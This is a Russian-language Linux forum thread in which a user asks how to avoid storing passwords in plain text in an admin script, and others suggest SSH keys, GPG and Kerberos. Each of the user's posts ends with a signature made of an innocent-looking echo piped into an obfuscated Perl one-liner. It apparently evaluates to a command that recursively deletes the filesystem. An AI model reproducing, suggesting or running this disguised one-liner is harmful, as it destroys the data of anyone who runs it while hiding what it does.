Ivanovo Linux Users Group -  
Форум Помощь Поиск Вход
Предыдущая Следующая Вверх Тема Программирование / Системное / Работа с системными пользователями в скрипте. (10196 хитов)
- Написал(а) hawk Дата 07.02.11 09:39 Отредактировано 07.02.11 09:46
Такая достаточно обычная ситуация, есть скрипт в котором выполняются команды содержащие данные о пользователе и пароле. Как правило все это в открытом виде, то-ли весна скоро, то ли возрастное, но паранойя все выше и выше :-)))). Отсюда вопрос, кто как бы обыграл данную ситуацию. Самое простое, типа ставим права 700 - не интересно.
Какие мысли на этот счет, например использовать GnuPG (gpg) для шифрования по ключу или возможно, можно как то выдернуть из системы юзера и подставить его пароль (в системе он шифрован). Тут ключевое - пароль, как дернуть юзера из системы понятно и не интересно.

Еще пояснение, в скрипте используются пасс логин системного пользователя, который является администратором одного сервиса. В скрипте еще указываются пасс и логин удаленной машины, которые совпадают с первыми. Т.е. если дернуть один раз из системы, то будет самое красивое решение.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Parent - Написал(а) LOE (Site/forum admin) Дата 07.02.11 10:02
Если надо запустить команду на удаленной машине, то используй ssh с публичными ключами.
С помощью ssh-keygen генеришь ключи для локального пользователя.
Потом публичный ключ помещаешь в файл /home/пользователь/.ssh/authorized_keys2 удаленного пользователя.
После этого (если в глобальном конфиге sshd разрешено использование авторизации по ключам) можно "логиниться" на удаленную систему без ввода паролей.

В принципе, такое и локально можно сделать, только стучаться на localhost под нужным пользователем.

По большому счету, это создает некоторое беспокойство: если кто-то проник в локальную систему под локальным пользователем, он сможет выполнять команды на удаленной системе уже без всякой авторизации.
Тут можно подумать о паролировании секретного ключа или размещении его в "тихом месте".
"No! Try not! Do. Or do not. There is no try." -- Yoda
Parent - Написал(а) hawk Дата 07.02.11 11:01 Отредактировано 07.02.11 11:14
Про SSH понятно, это даже обсуждалось тут не так давно. Сейчас поясню подробней.
Сервер виртуальных машин, на нем крутиться виртуалка, в команде сначало передаем логин и пароль администратора сервера, который совпадает с логином паролем непривилигированного пользователя Линукс. Дальше когда заавторизовались - авторизуемся на хостовой машине, так сделал что пароль и логин хостовой машины совпадает с пассом и логином непривилигированного пользователя Линукс. Вот и не хочется столько паролей одновременно хранить в открытом виде, самое бы простое что напрашивается - это как то в скрипте заюзать зашифрованный пасс непривилигированного системного пользователя - если такое возможно. Было бы самое правильное решение, из костыликов уже SSH можно, можно GPG, а можно и MySQL :-).
Как идет работа в системе с пассами:
Сравнение правильности пароля происходит следующим образом. Программа получает настоящий пароль от пользователя, потом вырабатывает на его основе хеш и сравнивает его с тем, который она получила из файла /etc/shadow. Если хеши не совпадают, то значит пароли разные.
Вот только обратная ситуация невозможна насколько я понимаю.
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Parent - Написал(а) Bercut Дата 07.02.11 12:11
слуш, ну чето тебе нужна какая-то серебряная пуля от криптографии и иб
методов то куча, на самом деле, тока ты сам определись когда надо вводить пароль руками или делать иное аутентифицирующее действие, смарт-карта, етокен, глаз, рука, нога... жопа
без сего сокровенного никак
другое дело сколько раз и где
а так смотри системы типа сингл сайн он, или разные pki ldap итд в различных смесях, да кстати, керберос еще в тему вообще конкретно, с его билетиками
ето конечно гимор тот еще, но игра стоит свеч
русский язык подобен искуству кун-фу, и великий мастер никогда не применит его без необходимости...
Parent - Написал(а) hawk Дата 07.02.11 12:23 Отредактировано 07.02.11 12:26
В том то и дело, что не вводить. Если бы вводить, а тут скрипт, а в скрипте обычно plain text, а хочется заморочиться :-).
ps чую плюну я на это дело и сделаю по старинке chmod 700 на скрипт для рута :-))))
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Parent - Написал(а) Bercut Дата 07.02.11 13:06
не ну вводить то когда-то надо, а то девственником можно остаться :-)
если не вводить, то хранить, где гарантия, что место хранения не будет скомпрометировано...
вощем если тема промышленная то не колхозь, про керберос таки почитай, например
хотя все равно надо аутентифицироваться иначе никакой иб
а так то всегда можно шифрануть весь раздел, из пушки по воробьям :-), а ключи хрнить удаленной машинке да с хитрыми правилами доступа, хотябы кнопка шухер...
русский язык подобен искуству кун-фу, и великий мастер никогда не применит его без необходимости...
Parent Написал(а) hawk Дата 07.02.11 13:13
не ну вводить то когда-то надо, а то девственником можно остаться :-)

весна весна, видимо уже близко ... :-))))))
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Предыдущая Следующая Вверх Тема Программирование / Системное / Работа с системными пользователями в скрипте. (10196 хитов)

Powered by mwForum 2.12.0 © 1999-2007 Markus Wichitill

Page created in 0.081s with 10 database queries.